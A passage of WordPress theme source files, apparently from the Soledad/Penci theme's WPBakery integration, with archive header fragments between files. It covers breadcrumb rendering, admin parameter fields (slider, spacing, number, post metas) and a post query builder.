$settings          = vc_map_get_attributes( $this->getShortcode(), $atts );
$sidebar_position  = penci_get_sidebar_position_archive();
$two_sidebar_class = $css_custom = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
$yoast_breadcrumb = '';
if ( function_exists( 'yoast_breadcrumb' ) ) {
	$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
}
$block_id = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_breadcrumb' );
if ( $yoast_breadcrumb ) {
	echo $yoast_breadcrumb;
} else { ?>
    <div id="<?php echo esc_attr( $block_id ); ?>"
         class="<?php echo vc_shortcode_custom_css_class( $settings['css'] ); ?> container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
		<?php
		echo '<span>';
		echo penci_get_setting( 'penci_trans_archives' );
		echo '</span>';
		?>
    </div>
<?php }
$block_id = '#' . $block_id;
if ( $settings['breadcrumb_align'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb{text-align:' . $settings['breadcrumb_align'] . '}';
}
if ( $settings['breadcrumb-t-color'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb *{color:' . $settings['breadcrumb_align'] . '}';
}
if ( $settings['breadcrumb-t-hcolor'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb a{color:' . $settings['breadcrumb-t-hcolor'] . '}';
}
if ( $settings['breadcrumb-spacing'] ) {
	$css_custom .= $block_id . ' .container.penci-breadcrumb i{margin-left:' . $settings['breadcrumb-spacing'] . 'px;margin-right:calc(' . $settings['breadcrumb-spacing'] . 'px - 4px)}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .container.penci-breadcrumb{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\    &  js_composer/params/slider/register.phpnu [        <?php
/**
 * Slider.
 *
 * @package Slider
 */

if ( ! function_exists( 'penci_get_slider_param' ) ) {
	/**
	 * penci slider param.
	 *
	 * @param array $settings Settings.
	 * @param string $value Value.
	 *
	 * @return string
	 */
	function penci_get_slider_param( $settings, $value ) {
		$value = $value ? $value : ( isset( $settings['default'] ) ? $settings['default'] : '' );

		ob_start();

		$param_name        = $settings['param_name'];
		$css_args          = isset( $settings['css_args'] ) ? wp_json_encode( $settings['css_args'] ) : '';
		$css_params        = isset( $settings['css_params'] ) ? wp_json_encode( $settings['css_params'] ) : '';
		$settings['units'] = isset( $settings['units'] ) ? $settings['units'] : 'px';
		?>
        <div class="penci-vc-slider">
            <div class="pc-slider-field"></div>

            <input type="hidden" class="pc-slider-field-value wpb_vc_param_value"
                   name="<?php echo esc_attr( $param_name ); ?>" id="<?php echo esc_attr( $param_name ); ?>"
                   value="<?php echo esc_attr( $value ); ?>"
                   data-min="<?php echo esc_attr( isset( $settings['min'] ) && $settings['min'] ? $settings['min'] : 0 ); ?>"
                   data-max="<?php echo esc_attr( isset( $settings['max'] ) && $settings['max'] ? $settings['max'] : 2000 ); ?>"
                   data-step="<?php echo esc_attr( isset( $settings['step'] ) && $settings['step'] ? $settings['step'] : 1 ); ?>"
                   data-css_params="<?php echo esc_attr( $css_params ); ?>"
                   data-css_args="<?php echo esc_attr( $css_args ); ?>">

            <span class="pc-slider-field-value-display">
				<span class="pc-slider-value-preview"></span>
			</span>

            <span class="pc-slider-units">
				<span class="pc-slider-unit-control pc-active"><?php echo esc_attr( $settings['units'] ); ?></span>
			</span>
        </div>
		<?php
		return ob_get_clean();
	}
}
PK     0w\t_%  %  '  js_composer/params/spacing/register.phpnu [        <?php
if ( ! function_exists( 'penci_get_responsive_spacing_param' ) ) {
	function penci_get_responsive_spacing_param( $settings, $value ) {
		ob_start();
		?>
        <div class="vc_css-editor vc_row vc_ui-flex-row pc-responsive-spacing-wrapper">
            <div class="pc-spacing-devices">
				<span class="pc-desktop pc-active" data-value="desktop">
					<span>Desktop</span>
				</span>
                <span class="pc-tablet" data-value="tablet">
					<span>Tablet</span>
				</span>
                <span class="pc-mobile" data-value="mobile">
					<span>Mobile</span>
				</span>
            </div>
			<?php echo penci_get_responsive_spacing_template( 'tablet' ); ?>
			<?php echo penci_get_responsive_spacing_template( 'mobile' ); ?>

            <input type="hidden" name="<?php echo esc_attr( $settings['param_name'] ); ?>"
                   class="wpb_vc_param_value pc-responsive-spacing-value" value="<?php echo esc_attr( $value ); ?>">
        </div>
		<?php
		return ob_get_clean();
	}
}

if ( ! function_exists( 'penci_get_responsive_spacing_template' ) ) {
	function penci_get_responsive_spacing_template( $device ) {
		ob_start();
		?>
        <div class="vc_layout-onion vc_col-xs-7 pc-responsive-spacing" data-device="<?php echo esc_attr( $device ); ?>">
            <div class="vc_margin">
                <label>margin</label>
                <input type="text" name="margin_top" data-name="margin-top" class="vc_top" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_right" data-name="margin-right" class="vc_right" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_bottom" data-name="margin-bottom" class="vc_bottom" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_left" data-name="margin-left" class="vc_left" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">

                <div class="vc_border">
                    <label>border</label>
                    <input type="text" name="border_top_width" data-name="border-top-width" class="vc_top"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_right_width" data-name="border-right-width" class="vc_right"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_bottom_width" data-name="border-bottom-width" class="vc_bottom"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_left_width" data-name="border-left-width" class="vc_left"
                           placeholder="-" data-attribute="border" value="" aria-label="border">

                    <div class="vc_padding">
                        <label>padding</label>
                        <input type="text" name="padding_top" data-name="padding-top" class="vc_top" placeholder="-"
                               data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_right" data-name="padding-right" class="vc_right"
                               placeholder="-" data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_bottom" data-name="padding-bottom" class="vc_bottom"
                               placeholder="-" data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_left" data-name="padding-left" class="vc_left" placeholder="-"
                               data-attribute="padding" value="" aria-label="padding">
                        <div class="vc_content"><i></i></div>
                    </div>
                </div>
            </div>
        </div>
		<?php
		return ob_get_clean();
	}
}
PK     0w\^Њ      '  js_composer/params/number/admin.css.mapnu [        {"version":3,"sourceRoot":"","sources":["admin.scss"],"names":[],"mappings":"AACC;EACC;EACA;;AAED;EACC;EACA;EACA;EACA","file":"admin.css"}PK     0w\4Q      $  js_composer/params/number/admin.scssnu [        .vc_edit_form_elements {
	.penci-number-input {
		width: 5em;
		margin-right: 5px;
	}
	.penci-number-suffix {
		width: 5em;
		height: 28px;
		padding: 0 6px;
		vertical-align: top;
	}
}PK     0w\^  ^  "  js_composer/params/number/admin.jsnu [        jQuery( function ( $ ) {
	'use strict';

	$( document ).on( 'change', '.penci-number-input, .penci-number-suffix', function () {
		var $number = $( this ).parent(),
			input = $number.find( '.penci-number-input' ).val(),
			unit = $number.find( '.penci-number-suffix' ).val();

		$number.find( '.wpb_vc_param_value' ).val( input + unit );
	} );
} );
PK     0w\F      #  js_composer/params/number/admin.cssnu [        .vc_edit_form_elements .penci-number-input {
  width: 5em;
  margin-right: 5px;
}
.vc_edit_form_elements .penci-number-suffix {
  width: 5em;
  height: 28px;
  padding: 0 6px;
  vertical-align: top;
}
PK     0w\mr    &  js_composer/params/number/register.phpnu [        <?php
/**
 * Callback for new param 'penci_number'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_number( $settings, $value ) {

	$units = array( 'px', 'em', 'rem', '%' );

	$input = $unit  = $prefix = '';

	if ( preg_match( '/(-|)(\d*)(px|em|rem|%)/', $value, $matches ) ) {
		$prefix = $matches[1];
		$input  = $matches[2];
		$unit   = $matches[3];
	}
	$output = '<div class="penci-number">';

	// Hidden input
	$output .= sprintf(
		'<input type="hidden" class="wpb_vc_param_value" name="%s" value="%s">',
		esc_attr( $settings['param_name'] ),
		esc_attr( $value )
	);

	// Input and units
	$output .= sprintf( '<input type="number" class="penci-number-input" value="%s">',  esc_attr( $prefix ) . esc_attr( $input ) );
	$output .= '<select class="penci-number-suffix">';
	foreach ( $units as $v ) {
		$output .= '<option value="' . esc_attr( $v ) . '" ' . selected( $v, $unit, false ) . '>' . esc_html( $v ) . '</option>';
	}
	$output .= '</select>';
	$output .= '</div>';

	return $output;
}PK     0w\::    +  js_composer/params/only_number/register.phpnu [        <?php
/**
 * Callback for new param 'penci_only_number'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_only_number( $settings, $value ) {
	ob_start();

	$suffix = isset( $settings['suffix'] ) ? esc_attr( $settings['suffix'] ) : '';

	$settings_max    = isset( $settings['max'] ) ? $settings['max'] : '';
	$settings['min'] = isset( $settings['min'] ) ? $settings['min'] : '';
	?>
    <input name="<?php echo esc_attr( $settings['param_name'] ); ?>"
           class="wpb_vc_param_value penci-only-number-input wpb-textinput <?php echo esc_attr( $settings['param_name'] ) . ' ' . esc_attr( $settings['type'] ); ?>_field"
           type="number" min="<?php echo esc_attr( $settings['min'] ); ?>"
           max="<?php echo esc_attr( $settings_max ); ?>"
           value="<?php echo esc_attr( $value ); ?>" /><?php echo $suffix; ?>
	<?php
	return ob_get_clean();
}

PK     0w\o!u  u  *  js_composer/params/post_metas/register.phpnu [        <?php
/**
 * Callback for new param 'penci_post_metas'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_post_metas( $settings, $value ) {
	$output = '';

	$post_metas = array(
		'pauthor'    => __( 'Author', PENCI_SNORLAX_FW ),
		'pdate'      => __( 'Date', PENCI_SNORLAX_FW ),
		'minread'    => __( 'Min Read', PENCI_SNORLAX_FW ),
		'pcomment'   => __( 'Comments', PENCI_SNORLAX_FW ),
		'pcountview' => __( 'Post Count Views', PENCI_SNORLAX_FW ),
	);

	foreach ( $post_metas as $k => $v ) {
		$checked = '';

		$array_vaule = $value ? explode( ',', $value ) : array();
		if ( $array_vaule && in_array( $k, $array_vaule ) ) {
			$checked = ' checked="checked"';
		}

		$output .= ' <label class="vc_checkbox-label"><input id="'
		           . $settings['param_name'] . '-' . $k . '" value="'
		           . $k . '" class="wpb_vc_param_value '
		           . $settings['param_name']
		           . ' ' . $settings['type']
		           . '" type="checkbox" name="'
		           . $settings['param_name'] . '"' . $checked . '> '
		           . $v . '</label><br>';

	}

	return $output;
}

PK     0w\3h[      )  js_composer/params/separator/register.phpnu [        <?php
/**
 * Callback for new param 'penci_separator'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_separator( $settings, $value ) {
	return '<hr>';
}

PK     0w\A]  A]  $  js_composer/params/loop/register.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! function_exists( 'penci_soledad_vc_param_loop' ) ):
	function penci_soledad_vc_param_loop( $settings, $value ) {
		$query_builder = new PenciSoledadLoopSettings( $value );
		$params        = $query_builder->getContent();
		$loop_info     = '';
		if ( is_array( $params ) ) {
			foreach ( $params as $key => $param ) {
				$param_value = penci_soledad_loop_get_value( $param );
				if ( ! empty( $param_value ) ) {
					$loop_info .= ' <b>' . $query_builder->getLabel( $key ) . '</b>: ' . $param_value . ';';
				}
			}
		}

		return '<div class="vc_loop">' . '<input name="' . $settings['param_name'] . '" class="wpb_vc_param_value  ' . $settings['param_name'] . ' ' . $settings['type'] . '_field" type="hidden" value="' . $value . '"/>' . '<a href="#" class="button vc_loop-build ' . $settings['param_name'] . '_button" data-settings="' . rawurlencode( json_encode( $settings['settings'] ) ) . '">' . __( 'Build query', 'soledad' ) . '</a>' . '<div class="vc_loop-info">' . $loop_info . '</div>' . '</div>';
	}
endif;

if ( ! function_exists( 'penci_soledad_loop_get_value' ) ):
	function penci_soledad_loop_get_value( $param ) {
		$value           = array();
		$selected_values = (array) $param['value'];
		if ( isset( $param['options'] ) && is_array( $param['options'] ) ) {
			foreach ( $param['options'] as $option ) {
				if ( is_array( $option ) && isset( $option['value'] ) ) {
					if ( in_array( ( ( '-' === $option['action'] ? '-' : '' ) . $option['value'] ), $selected_values ) ) {
						$value[] = $option['action'] . $option['name'];
					}
				} elseif ( is_array( $option ) && isset( $option[0] ) ) {
					if ( in_array( $option[0], $selected_values ) ) {
						$value[] = $option[1];
					}
				} elseif ( in_array( $option, $selected_values ) ) {
					$value[] = $option;
				}
			}
		} else {
			$value[] = $param['value'];
		}

		return implode( ', ', $value );
	}
endif;


if ( ! class_exists( 'PenciSoledadLoopQueryBuilder' ) ):
	class PenciSoledadLoopQueryBuilder {
		protected $args = array(
			'post_status' => 'publish',
		);

		function __construct( $data ) {
			foreach ( $data as $key => $value ) {
				$method = 'parse_' . $key;
				if ( method_exists( $this, $method ) ) {
					$this->$method( $value );
				}
			}
		}

		protected function parse_size( $value ) {
			$this->args['posts_per_page'] = 'All' === $value ? - 1 : (int) $value;
		}

		protected function parse_offset( $value ) {
			$this->args['offset'] = (int) $value;
		}

		protected function parse_order_by( $value ) {
			switch ( $value ) {
				case 'popular':
					$this->args['meta_key'] = penci_get_postviews_key();
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular_day':
					$this->args['meta_key'] = 'penci_post_day_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular7':
					$this->args['meta_key'] = 'penci_post_week_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular_month':
					$this->args['meta_key'] = 'penci_post_month_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'jetpack':
					$this->args['meta_key'] = '_jetpack_post_view';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'alphabetical_order':
					$this->args['orderby'] = 'title';
					$this->args['order']   = 'ASC';
					break;
				case 'random_today':
					$this->args['orderby']  = 'rand';
					$this->args['year']     = date( 'Y' );
					$this->args['monthnum'] = date( 'n' );
					$this->args['day']      = date( 'j' );
					break;
				case 'random_7_day':
					$this->args['orderby']    = 'rand';
					$this->args['date_query'] = array(
						'column' => 'post_date_gmt',
						'after'  => '1 week ago'
					);
					break;
				case 'featured_product':
					$this->args['tax_query'][] = array(
						'taxonomy' => 'product_visibility',
						'field'    => 'name',
						'terms'    => 'featured',
						'operator' => 'IN'
					);
					break;
				case 'modified':
					$this->args['orderby'] = 'modified';
					break;
				default:
					$this->args['orderby'] = $value;
			}


		}

		protected function parse_order( $value ) {
			$this->args['order'] = $value;
		}

		protected function parse_post_type( $value ) {
			$this->args['post_type'] = $this->stringToArray( $value );
		}

		protected function parse_authors( $value ) {
			$this->args['author'] = $value;
		}

		protected function parse_categories( $value ) {
			$this->args['cat'] = $value;
		}

		protected function parse_tax_query( $value ) {
			$terms = $this->stringToArray( $value );
			if ( empty( $this->args['tax_query'] ) ) {
				$this->args['tax_query'] = array( 'relation' => 'AND' );
			}
			$negative_term_list = array();
			foreach ( $terms as $term ) {
				if ( (int) $term < 0 ) {
					$negative_term_list[] = abs( $term );
				}
			}

			$not_in = array();
			$in     = array();

			$terms = get_terms( PenciSoledadLoopSettings::getTaxonomies(), array( 'include' => array_map( 'abs', $terms ) ) );
			foreach ( $terms as $t ) {
				if ( in_array( (int) $t->term_id, $negative_term_list ) ) {
					$not_in[ $t->taxonomy ][] = $t->term_id;
				} else {
					$in[ $t->taxonomy ][] = $t->term_id;
				}
			}

			foreach ( $in as $taxonomy => $terms ) {
				$this->args['tax_query'][] = array(
					'field'    => 'term_id',
					'taxonomy' => $taxonomy,
					'terms'    => $terms,
					'operator' => 'IN',
				);
			}
			foreach ( $not_in as $taxonomy => $terms ) {
				$this->args['tax_query'][] = array(
					'field'    => 'term_id',
					'taxonomy' => $taxonomy,
					'terms'    => $terms,
					'operator' => 'NOT IN',
				);
			}
		}

		protected function parse_tags( $value ) {
			$in       = $not_in = array();
			$tags_ids = $this->stringToArray( $value );
			foreach ( $tags_ids as $tag ) {
				$tag = (int) $tag;
				if ( $tag < 0 ) {
					$not_in[] = abs( $tag );
				} else {
					$in[] = $tag;
				}
			}
			$this->args['tag__in']     = $in;
			$this->args['tag__not_in'] = $not_in;
		}

		protected function parse_by_id( $value ) {
			$in  = $not_in = array();
			$ids = $this->stringToArray( $value );
			foreach ( $ids as $id ) {
				$id = (int) $id;
				if ( $id < 0 ) {
					$not_in[] = abs( $id );
				} else {
					$in[] = $id;
				}
			}
			$this->args['post__in']     = $in;
			$this->args['post__not_in'] = $not_in;
		}

		public function excludeId( $id ) {
			if ( ! isset( $this->args['post__not_in'] ) ) {
				$this->args['post__not_in'] = array();
			}
			if ( is_array( $id ) ) {
				$this->args['post__not_in'] = array_merge( $this->args['post__not_in'], $id );
			} else {
				$this->args['post__not_in'][] = $id;
			}
		}

		protected function stringToArray( $value ) {
			$valid_values = array();
			$list         = preg_split( '/\,[\s]*/', $value );
			foreach ( $list as $v ) {
				if ( strlen( $v ) > 0 ) {
					$valid_values[] = $v;
				}
			}

			return $valid_values;
		}

		public function build() {
			return array( $this->args, new WP_Query( $this->args ) );
		}

		public function build_args() {
			return $this->args;
		}
	}
endif;


if ( ! class_exists( 'PenciSoledadLoopSettings' ) ):
	class PenciSoledadLoopSettings {
		protected $content = array();

		protected $parts;

		public $settings;

		public $query_parts = array(
			'post_type',
			'size',
			'offset',
			'order_by',
			'order',
			'authors',
			'categories',
			'tags',
			'tax_query',
			'by_id',
		);

		function __construct( $value, $settings = array() ) {
			$this->parts = array(
				'size'       => __( 'Post count', 'soledad' ),
				'offset'     => __( 'Post offset', 'soledad' ),
				'order_by'   => __( 'Order by', 'soledad' ),
				'order'      => __( 'Sort order', 'soledad' ),
				'post_type'  => __( 'Post types', 'soledad' ),
				'authors'    => __( 'Author', 'soledad' ),
				'categories' => __( 'Categories', 'soledad' ),
				'tags'       => __( 'Tags', 'soledad' ),
				'tax_query'  => __( 'Taxonomies', 'soledad' ),
				'by_id'      => __( 'Individual posts/pages', 'soledad' ),
			);

			$this->settings = $settings;

			$data = $this->parseData( $value );
			foreach ( $this->query_parts as $part ) {
				$value  = isset( $data[ $part ] ) ? $data[ $part ] : '';
				$locked = 'true' === $this->getSettings( $part, 'locked' );

				if ( ! is_null( $this->getSettings( $part, 'value' ) ) && $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
					$value = $this->settings[ $part ]['value'];
				} elseif ( ! is_null( $this->getSettings( $part, 'value' ) ) && ! $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
					$value = implode( ',', array_unique( explode( ',', $value . ',' . $this->settings[ $part ]['value'] ) ) );
				}

				if ( method_exists( $this, 'parse_' . $part ) ) {
					$method                 = 'parse_' . $part;
					$this->content[ $part ] = $this->$method( $value );
				} else {
					$this->content[ $part ] = $this->parseString( $value );
				}

				if ( $locked ) {
					$this->content[ $part ]['locked'] = true;
				}

				if ( 'true' === $this->getSettings( $part, 'hidden' ) ) {
					$this->content[ $part ]['hidden'] = true;
				}
			}
		}

		protected function replaceLockedValue( $part ) {
			return in_array( $part, array( 'size', 'order_by', 'order' ) );
		}

		public function getLabel( $key ) {
			return isset( $this->parts[ $key ] ) ? $this->parts[ $key ] : $key;
		}

		public function getSettings( $part, $name ) {
			$settings_exists = isset( $this->settings[ $part ] ) && is_array( $this->settings[ $part ] );

			return $settings_exists && isset( $this->settings[ $part ][ $name ] ) ? $this->settings[ $part ][ $name ] : null;
		}

		public function parseString( $value ) {
			return array( 'value' => $value );
		}

		protected function parseDropDown( $value, $options = array() ) {
			return array( 'value' => $value, 'options' => $options );
		}

		protected function parseMultiSelect( $value, $options = array() ) {
			return array( 'value' => explode( ',', $value ), 'options' => $options );
		}

		public function parse_order_by( $value ) {
			return $this->parseDropDown( $value, array(
				array( 'date', __( 'Date', 'soledad' ) ),
				array( 'modified', __( 'Latest Modified', 'soledad' ) ),
				array( 'rand', __( 'Random', 'soledad' ) ),
				array( 'random_today', __( 'Random Today', 'soledad' ) ),
				array( 'random_7_day', __( 'Random from last 7 days', 'soledad' ) ),
				array( 'alphabetical_order', __( 'Alphabetical ( A - Z )', 'soledad' ) ),
				array( 'popular', __( 'Popular posts in all time', 'soledad' ) ),
				array( 'popular_month', __( 'Popular posts in once month', 'soledad' ) ),
				array( 'popular7', __( 'Popular posts in once week', 'soledad' ) ),
				array( 'ID', __( 'ID', 'soledad' ) ),
				array( 'author', __( 'Author', 'soledad' ) ),
				array( 'title', __( 'Title', 'soledad' ) ),
				array( 'comment_count', __( 'Comment count', 'soledad' ) ),
				array( 'featured_product', __( 'Featured ( Woo )', 'soledad' ) ),
			) );
		}

		public function parse_order( $value ) {
			return $this->parseDropDown( $value, array(
				array( 'ASC', __( 'Ascending', 'soledad' ) ),
				array( 'DESC', __( 'Descending', 'soledad' ) ),
			) );
		}

		public function parse_post_type( $value ) {
			$options    = array();
			$args       = array(
				'public' => true,
			);
			$post_types = get_post_types( $args );
			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type && 'penci_slider' !== $post_type ) {
					$options[] = $post_type;
				}
			}

			return $this->parseMultiSelect( $value, $options );
		}


		public function parse_authors( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$users = get_users( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $users as $user ) {
				$options[] = array(
					'value'  => (string) $user->ID,
					'name'   => $user->data->user_nicename,
					'action' => in_array( (int) $user->ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_categories( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_categories( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->cat_ID,
					'name'   => $obj->cat_name,
					'action' => in_array( (int) $obj->cat_ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}


		public function parse_tags( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_tags( array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->term_id,
					'name'   => $obj->name,
					'action' => in_array( (int) $obj->term_id, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_tax_query( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}
			$list = get_terms( self::getTaxonomies(), array( 'include' => array_map( 'abs', $list ) ) );
			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->term_id,
					'name'   => $obj->name,
					'action' => in_array( (int) $obj->term_id, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function parse_by_id( $value ) {
			$options = $not_in = array();
			if ( empty( $value ) ) {
				return $this->parseMultiSelect( $value, $options );
			}
			$list = explode( ',', $value );
			foreach ( $list as $id ) {
				if ( (int) $id < 0 ) {
					$not_in[] = abs( $id );
				}
			}

			$post_type_pre = array();
			$post_types    = get_post_types( array( 'public' => true ) );

			foreach ( $post_types as $post_type ) {
				if ( 'attachment' !== $post_type && 'penci_slider' !== $post_type ) {
					$post_type_pre[] = $post_type;
				}
			}

			$list = get_posts( array( 'post_type' => $post_type_pre, 'include' => array_map( 'abs', $list ) ) );

			foreach ( $list as $obj ) {
				$options[] = array(
					'value'  => (string) $obj->ID,
					'name'   => $obj->post_title,
					'action' => in_array( (int) $obj->ID, $not_in ) ? '-' : '+',
				);
			}

			return $this->parseMultiSelect( $value, $options );
		}

		public function render() {
			echo json_encode( $this->content );
		}

		public function getContent() {
			return $this->content;
		}

		public static function getTaxonomies() {
			$taxonomy_exclude   = (array) apply_filters( 'get_categories_taxonomy', 'category' );
			$taxonomy_exclude[] = 'post_tag';
			$taxonomies         = array();
			foreach ( get_taxonomies() as $taxonomy ) {
				if ( ! in_array( $taxonomy, $taxonomy_exclude ) ) {
					$taxonomies[] = $taxonomy;
				}
			}

			return $taxonomies;
		}

		public static function buildDefault( $settings ) {
			if ( ! isset( $settings['settings'] ) || ! is_array( $settings['settings'] ) ) {
				return '';
			}
			$value = '';
			foreach ( $settings['settings'] as $key => $val ) {
				if ( isset( $val['value'] ) ) {
					$value .= ( empty( $value ) ? '' : '|' ) . $key . ':' . $val['value'];
				}
			}

			return $value;
		}

		public function get_query_parts() {
			return $this->query_parts;
		}

		public static function buildWpQuery( $query, $exclude_id = false ) {
			$data          = self::parseData( $query );
			$query_builder = new PenciSoledadLoopQueryBuilder( $data );
			if ( $exclude_id ) {
				$query_builder->excludeId( $exclude_id );
			}

			return $query_builder->build();
		}


		public static function buildArgsQuery( $query, $exclude_id = false ) {
			$data          = self::parseData( $query );
			$query_builder = new PenciSoledadLoopQueryBuilder( $data );
			if ( $exclude_id ) {
				$query_builder->excludeId( $exclude_id );
			}

			return $query_builder->build_args();
		}

		public static function updateArgsQuerySize( $query, $size ) {
			$data         = self::parseData( $query );
			$data['size'] = $size;

			$data_pre = '';
			foreach ( $data as $key => $val ) {
				if ( $data_pre ) {
					$data_pre .= '|';
				}

				$data_pre .= $key . ':' . $val;
			}

			return $data_pre;
		}

		public static function parseData( $value ) {
			$data         = array();
			$values_pairs = preg_split( '/\|/', $value );
			foreach ( $values_pairs as $pair ) {
				if ( ! empty( $pair ) ) {
					list( $key, $value ) = preg_split( '/\:/', $pair );
					$data[ $key ] = $value;
				}
			}

			return $data;
		}
	}
endif;

if ( ! class_exists( 'PenciSoledadLoopSuggestions' ) ):
	class PenciSoledadLoopSuggestions {
		protected $content = array();
		protected $exclude = array();
		protected $field;

		function __construct( $field, $query, $exclude ) {
			$this->exclude = explode( ',', $exclude );
			$method_name   = 'get_' . preg_replace( '/_out$/', '', $field );
			if ( method_exists( $this, $method_name ) ) {
				$this->$method_name( $query );
			}
		}

		public function get_authors( $query ) {
			$args = ! empty( $query ) ? array(
				'search'         => '*' . $query . '*',
				'search_columns' => array( 'user_nicename' ),
			) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$users = get_users( $args );
			foreach ( $users as $user ) {
				$this->content[] = array(
					'value' => (string) $user->ID,
					'name'  => (string) $user->data->user_nicename
				);
			}
		}

		public function get_authorsnotin( $query ) {
			$args = ! empty( $query ) ? array(
				'search'         => '*' . $query . '*',
				'search_columns' => array( 'user_nicename' ),
			) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$users = get_users( $args );
			foreach ( $users as $user ) {
				$this->content[] = array(
					'value' => (string) $user->ID,
					'name'  => (string) $user->data->user_nicename
				);
			}
		}

		public function get_categories( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$categories = get_categories( $args );

			foreach ( $categories as $cat ) {
				$this->content[] = array( 'value' => (string) $cat->cat_ID, 'name' => $cat->cat_name );
			}
		}

		public function get_categorynotin( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$categories = get_categories( $args );

			foreach ( $categories as $cat ) {
				$this->content[] = array( 'value' => (string) $cat->cat_ID, 'name' => $cat->cat_name );
			}
		}

		public function get_tags( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$tags = get_tags( $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array( 'value' => (string) $tag->term_id, 'name' => $tag->name );
			}
		}

		public function get_tagsnotin( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
			$tags = get_tags( $args );
			foreach ( $tags as $tag ) {
				$this->content[] = array( 'value' => (string) $tag->term_id, 'name' => $tag->name );
			}
		}

		public function get_tax_query( $query ) {
			$args = ! empty( $query ) ? array( 'search' => $query ) : array();
			if ( ! empty( $this->exclude ) ) {
				$args['exclude'] = $this->exclude;
			}
